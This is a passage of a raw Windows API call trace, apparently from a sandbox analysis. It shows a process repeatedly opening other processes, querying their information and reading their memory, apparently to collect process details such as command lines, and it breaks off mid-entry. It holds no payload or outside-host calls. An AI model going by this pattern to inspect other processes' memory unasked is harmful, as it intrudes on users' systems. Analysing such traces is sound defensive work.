0x0 [0276.510] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="464") returned 3 [0276.512] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.512] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.545] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0x16c [0276.545] GetLastError () returned 0x0 [0276.546] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.546] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3f49eb5018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.546] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.546] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18abe791d30, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.546] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18abe791948, lpBuffer=0x2dc22fc240, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.548] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.550] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.550] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3f49eb5020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.550] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18abe791330, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.550] malloc (_Size=0x7e) returned 0x20abc2aa3c0 [0276.550] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18abe7919a8, lpBuffer=0x20abc2aa3c0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa3c0*, lpNumberOfBytesRead=0x0) returned 1 [0276.551] free (_Block=0x20abc2aa3c0) [0276.552] CloseHandle (hObject=0x16c) returned 1 [0276.552] _ui64tow_s (in: _Value=0xde8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3560") returned 0x0 [0276.557] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3560") returned 4 [0276.558] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.558] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.574] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde8) returned 0x16c [0276.574] GetLastError () returned 0x0 [0276.576] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.576] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x49f018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.576] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.576] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f1c70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.576] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f18f8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.578] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.579] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.579] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x49f020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.581] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.582] malloc (_Size=0x48) returned 0x20abc27cb20 [0276.582] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f1938, lpBuffer=0x20abc27cb20, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cb20*, lpNumberOfBytesRead=0x0) returned 1 [0276.583] free (_Block=0x20abc27cb20) [0276.583] CloseHandle (hObject=0x16c) returned 1 [0276.584] _ui64tow_s (in: _Value=0xdf8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3576") returned 0x0 [0276.588] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3576") returned 4 [0276.589] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.589] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.608] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdf8) returned 0x16c [0276.609] GetLastError () returned 0x0 [0276.610] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.610] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x468018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.610] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.610] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x371ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.611] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3718f8, lpBuffer=0x2dc22fc240, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.612] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.614] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.614] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x468020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.614] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3712e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.614] malloc (_Size=0x6e) returned 0x20abc2831b0 [0276.614] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x37195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0276.615] free (_Block=0x20abc2831b0) [0276.616] CloseHandle (hObject=0x16c) returned 1 [0276.617] _ui64tow_s (in: _Value=0xe08, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3592") returned 0x0 [0276.621] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3592") returned 4 [0276.622] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.622] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.658] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe08) returned 0x16c [0276.658] GetLastError () returned 0x0 [0276.659] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.659] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x21e018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.659] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.659] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e1d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.660] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e18f8, lpBuffer=0x2dc22fc240, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.661] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.663] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.663] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x21e020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.663] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.663] malloc (_Size=0x7a) returned 0x20abc2aa3c0 [0276.663] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e196a, lpBuffer=0x20abc2aa3c0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa3c0*, lpNumberOfBytesRead=0x0) returned 1 [0276.664] free (_Block=0x20abc2aa3c0) [0276.665] CloseHandle (hObject=0x16c) returned 1 [0276.665] _ui64tow_s (in: _Value=0xe10, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3600") returned 0x0 [0276.670] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3600") returned 4 [0276.671] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.671] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.687] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe10) returned 0x16c [0276.687] GetLastError () returned 0x0 [0276.688] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.730] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f1018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.730] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.731] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5c1d90, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.731] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5c18f8, lpBuffer=0x2dc22fc240, nSize=0x9e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.733] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.735] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.735] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f1020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.735] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5c12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.736] malloc (_Size=0xa6) returned 0x20abc2859f0 [0276.736] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5c1996, lpBuffer=0x20abc2859f0, nSize=0xa4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2859f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.737] free (_Block=0x20abc2859f0) [0276.738] CloseHandle (hObject=0x16c) returned 1 [0276.738] _ui64tow_s (in: _Value=0xe20, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3616") returned 0x0 [0276.743] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3616") returned 4 [0276.744] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.744] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.763] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe20) returned 0x16c [0276.763] GetLastError () returned 0x0 [0276.765] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.765] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3a6018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.765] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.765] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x461d50, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.765] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4618f8, lpBuffer=0x2dc22fc240, nSize=0x8c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.812] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.814] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.814] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3a6020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.815] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4612e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.815] malloc (_Size=0x94) returned 0x20abc2ab900 [0276.815] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x461984, lpBuffer=0x20abc2ab900, nSize=0x92, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2ab900*, lpNumberOfBytesRead=0x0) returned 1 [0276.816] free (_Block=0x20abc2ab900) [0276.817] CloseHandle (hObject=0x16c) returned 1 [0276.817] _ui64tow_s (in: _Value=0xe28, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3624") returned 0x0 [0276.822] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3624") returned 4 [0276.824] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.824] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.843] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe28) returned 0x16c [0276.843] GetLastError () returned 0x0 [0276.844] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.878] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3af018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.878] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.879] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d1d60, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.879] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d18f8, lpBuffer=0x2dc22fc240, nSize=0x92, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.880] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.882] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.882] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3af020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.882] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.883] malloc (_Size=0x9a) returned 0x20abc285730 [0276.883] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d198a, lpBuffer=0x20abc285730, nSize=0x98, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc285730*, lpNumberOfBytesRead=0x0) returned 1 [0276.883] free (_Block=0x20abc285730) [0276.884] CloseHandle (hObject=0x16c) returned 1 [0276.884] _ui64tow_s (in: _Value=0xe34, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3636") returned 0x0 [0276.889] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3636") returned 4 [0276.890] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.890] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.907] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe34) returned 0x16c [0276.907] GetLastError () returned 0x0 [0276.911] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.911] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20e018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.911] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.912] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x541d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.912] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5418f8, lpBuffer=0x2dc22fc240, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.913] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.915] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, 